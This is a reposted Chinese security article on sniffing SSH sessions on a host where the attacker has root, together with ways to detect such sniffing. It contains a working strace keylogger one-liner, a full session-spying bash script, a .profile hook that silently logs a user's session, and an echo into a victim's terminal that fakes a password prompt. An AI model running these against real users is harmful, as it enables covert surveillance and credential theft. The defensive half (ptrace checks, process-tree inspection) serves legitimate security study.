SSH 嗅探方法和防御
2022-11-3 20:1:2 Author: 网安之道(查看原文) 阅读量:22 收藏

众所周知,SSH 是一种安全的网络协议,本质上是安全的,不会被网络数据包嗅探和窃听。这当然要归功于它使用了加密。如果我们安全地使用 SSH 协议,那么中间人攻击的风险确实很小。
然而,这并不意味着 SSH 是 100% 安全的,不会被所有人窥探。仅仅因为我们通过 SSH 连接到服务器并不意味着没有人可以看到我们在做什么。

什么是 SSH 会话嗅探?

SSH 会话嗅探是一种通常涉及附加到 SSH 进程并拦截正在调用的系统调用的技术。这包括从键盘读取击键、在控制台上打印字符等等。
使用该实用程序可以附加到进程strace,它是一个强大的诊断和调试工具。Strace 可以跟踪特定进程正在生成或接收的系统调用和信号。
另一个可用于监视 SSH 会话的程序是该script实用程序。Script 是一个非常有用的程序,用于记录终端会话和生成日志文件(成绩单)。

SSH 嗅探的含义

关于 SSH 最令人担忧的事情之一是,当我们连接到远程 SSH 服务器时,该服务器上的任何特权用户(例如 root 用户)都可以监视我们的 SSH 会话,包括我们将要启动的任何 SSH 连接那个服务器。
这基本上意味着恶意管理员可以监视其服务器上的入站和出站 SSH 连接。
要意识到的另一件事是,如果正在执行渗透测试并且碰巧在某些系统上破坏了 root 用户,这意味着可以窥探进程并监视任何现有的正在进行的 SSH 会话。这在渗透测试期间会派上用场。
SSH 间谍活动显然是非常强大的技术,值得关注。

实践中的 SSH 会话嗅探

以下部分包含从实际角度来看可用于滥用 SSH 连接、SSH 键盘记录、SSH 会话嗅探等的各种技巧和技术。

使用 strace 的 SSH 键盘记录器

这是一个简单的示例,说明我们如何在正在进行的 SSH 会话中捕获击键。我们只需要一个我们想要监视的 SSH 进程的 PID:

strace -e trace=read -p <PID> 2>&1 | while read -r a; do grep '^read.*= [1-9]$' <<<"$a" | cut -d\" -f2; done

稍微更具可读性的输出相同:

strace -e trace=read -p <PID> 2>&1 | while read -r a; do grep '^read.*= [1-9]$' <<<"$a" | cut -d\" -f2 | tr -d '\n'; done

此方法通过strace捕获目标 SSH 进程正在调用的read() API 调用来工作。
它既快速又简单,在大多数情况下足以观察用户正在输入的内容,但是它不会显示用户在控制台上看到的内容。

使用 strace 进行 SSH 间谍活动

稍加努力,我们也可以开始捕获write() API 调用strace。这些调用负责在控制台上打印出 SSH 会话中发生的输出。
这使我们能够实现完整的 SSH 间谍功能。sshspy.sh这是一个应该能够做到这一点的小 Bash 脚本 ( ):

#!/bin/bash# By infosecmatter.comtrap 'rm -f -- ${tmpfile}; exit' INTtmpfile="/tmp/$RANDOM$$$RANDOM"pgrep -a -f '^ssh ' | while read pid a; do echo "OUTBOUND $a $pid"; done >${tmpfile}pgrep -a -f '^sshd: .*@' | while read pid a; dotty="${a##*@}"from="`w | grep ${tty} | awk '{print $3}'`"echo "INBOUND $a (from $from) $pid"done >>${tmpfile}IFS=$'\n'; select opt in `cat ${tmpfile}`; dorm -f -- ${tmpfile}pid="${opt##* }"wfd="[0-9]"rfd="[0-9]"strace -e read,write -xx -s 9999999 -p ${pid} 2>&1 | while read -r a; doif [[ "${a:0:10}" =~ ^write\(${wfd}, ]] \&& [ ${#wfd} -le 3 ] \&& ! [[ "$a" =~ \ =\ 1$ ]]; thenecho -en "`cut -d'"' -f2 <<<${a}`"elif [[ "${a:0:10}" =~ ^read\(${rfd}, ]] \&& [ ${#rfd} -le 3 ]; thenecho -en "`cut -d'"' -f2 <<<${a}`"elif [[ "$a" =~ ^read\((${rfd}+),.*\ =\ [1-9]$ ]]; thenfd="${BASH_REMATCH[1]}"if [[ "$a" =~ \ =\ 1$ ]]; thenrfd="$fd"fielif [[ "${a:0:10}" =~ ^write\((${wfd}+), ]] \&& [ ${#wfd} -gt 4 ]; thenfd="${BASH_REMATCH[1]}"if [[ "${a}" =~ \\x00 ]]; then continue; fiif [[ "${a}" =~ \ =\ 1$ ]] || [[ "${a}" =~ \"\\x0d\\x0a ]]; thenwfd="$fd"fifidoneecho ">> SSH session ($opt) closed"exit 0done

这是正在运行的脚本的屏幕截图:

如图所见,我们成功地窥探到了 jeff 的 SSH 会话,并且还在 jeff 所连接的服务器上公开了 MySQL 的凭据。
也可以在此 GitHub 存储库中找到该脚本:

    https://github.com/InfosecMatter/Scripts/blob/master/sshspy.sh

无 strace 的 SSH 间谍

捕获整个 SSH 会话的另一种方法是使用script上面提到的实用程序。这里唯一的限制是它必须事先设置——它不适用于现有的(正在进行的)SSH 会话。
script以下是我们如何使用该实用程序为特定用户快速设置 SSH 会话捕获:

echo 'exec script -a -f -q -c /bin/bash ~/.ssh.log' >>/home/user1/.profile

下次用户 1 登录系统时,他的整个 SSH 会话将记录在他的$HOME/.ssh.log文件中。然后我们可以监视他的 SSH 会话,例如使用该tail程序:

tail -f /home/user1/.ssh.log

虽然这不是一种非常隐蔽的技术,但有时它可以派上用场。例如,考虑构建 SSH 蜜罐。

将字符注入控制台

这种方法本身并不涉及滥用 SSH 进程,但值得知道的是 root 用户(或 tty 组中的任何人)可以使用简单的echo命令将任意字符注入任何控制台(或伪终端)。

这是一个例子:

echo -en "\r\nWARNING: System will reboot in 60 seconds.\r\nTo abort, enter your password: " >>/dev/pts/5

这是它在“受害者”控制台上的样子/dev/pts/5:

我们只需要知道目标 SSH 进程使用哪个伪终端 ( /dev/pts/XX),这对于任何系统管理员来说都非常容易:

# ps -ax -o pid,tty,cmd | grep 'ssh '15957 pts/5    ssh [email protected]12743 pts/3    grep ssh

通过正在进行的 SSH 会话向控制台注入字符可以与 SSH 间谍和键盘记录技术结合使用,以便从毫无戒心的用户那里获取凭据。
这在渗透测试或红队时可能会派上用场,但作为网络安全专业人士,我们当然不应该自己上当这些伎俩。

SSH 会话接管

root 用户真的可以在系统上做任何事情,我们永远不应该怀疑这一点。有一种滥用 SSH 的方法比上述所有方法都更恶劣。
SSHPry 通过控制目标 TTY 控制台 ( /dev/pts/XX) 工作,甚至可以记录和重播以前的会话。

防御 SSH 会话间谍

本节提供了一些实用技巧,说明我们如何保护自己免受这些 SSH 滥用技术的侵害,或者至少我们如何检测它们。

检查是否启用了 ptrace

通过 SSH 登录到系统后,检查系统上是否启用了 ptrace。
大多数系统默认启用 Ptrace,但生产系统很少需要使用调试实用程序。通常建议在处于生产模式的系统上删除执行任何 ptrace 相关功能的能力。

以下是检查方法:
sysctl kernel.yama.ptrace_scope
如果看到 3 以外的内容,则表示系统上启用了 ptrace(3 表示禁用)。

尝试 ptrace 自己

ptrace 的性质一次只允许一个观察者。不能同时附加两个进程,这是我们可以用来确定是否有人附加到我们的进程的东西。
以下是strace在自己的 SSH 进程上运行的方法:

# ps axwwf | grep -B2 $$923 ?        Ss     1:21 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups8852 ?        Ss     0:00  \_ sshd: [email protected]/58960 pts/5    Ss     0:00      \_ -bash5699 pts/5    R+     0:00          \_ ps axwwf5700 pts/5    S+     0:00          \_ grep --color=auto -B2 908960# strace -e none -p 8852strace: Process 8852 attached

在这种情况下似乎一切都很好,我们可以附加。
另一方面,如果看到类似下面的错误并且以 root 用户身份登录,则很可能有人正在监视:

strace: attach: ptrace(PTRACE_SEIZE, 8852): Operation not permitted

请注意,由于某种原因,如果以普通(非 root)用户身份尝试它,将看到相同的错误,因此此方法仅在是 root 用户时才有效。

通常,如果可以使用 成功附加任何进程strace,则可以假设没有其他人正在使用stracespy 来监视的进程。

检查进程列表

通过检查进程列表树,我们可以发现我们的 SSH 会话是否存在可疑情况。

例如,如果我们看到类似下面的流程清单,我们可以假设我们的会话正在使用该script实用程序进行记录:

[email protected]:~$ ps axwwf | grep -B2 $$5228 ?        S      0:00      \_ sshd: [email protected]/65229 pts/6    Ss+    0:00          \_ script -a -f -q -c /bin/bash /home/user1/.ssh.log5236 pts/7    Ss     0:00              \_ /bin/bash5648 pts/7    R+     0:00                  \_ ps axwwf5649 pts/7    S+     0:00                  \_ grep -B2 5236[email protected]:~$

在进程之后和我们的 shell 之前看到script命令吗?sshd
请注意,在 Linux 上,有一些方法可以从进程列表中隐藏和替换程序名称(包括参数),因此不要总是指望它。一个这样的例子是zap-args,它可以使用 LD_PRELOAD 来完成。
这是一个正常的进程列表树:

[email protected]:~$ ps axwwf | grep -B2 $$5228 ?        S      0:00      \_ sshd: [email protected]/65236 pts/6    Ss     0:00          \_ /bin/bash5648 pts/6    R+     0:00              \_ ps axwwf5649 pts/6    S+     0:00              \_ grep -B2 5236[email protected]:~$

sshd请注意 shell 进程之间没有其他进程。在这种情况下,可以放心地假设 SSH 会话没有被记录。

其他注意事项

听起来令人不快,当连接到无法完全控制的系统时,永远不会真正安全。把它忘了吧。
也可能永远无法检测到是否有人在监视。这是不可能的,特别是如果考虑 LKM(可加载内核模块),它允许恶意管理员几乎可以做任何事情。
所以不要把上面的方法当成最终定论。如果上述所有步骤都说出来,不要以为自己是安全的。在无法控制的服务器上,一切皆有可能。

结论

请注意,当通过 SSH 连接到远程服务器并且它不是自己的服务器时,在控制台上键入或看到的任何敏感数据都可能会泄露给管理服务器的管理员。
这当然包括密码。密码是否未打印在控制台上或是否隐藏在星号符号下都没有关系。输入的任何内容都可以并且将被上述方法捕获。


文章来源: http://mp.weixin.qq.com/s?__biz=MzIxMDI2ODM1OA==&mid=2651501884&idx=1&sn=2b1a7b21d677bacbe5ecca3896b85570&chksm=8c992c95bbeea5833feb0cc4a0f1f400be81a1ea45ca055c85c18262d0de465cc353f9b09db6#rd
如有侵权请联系:admin#unsafe.sh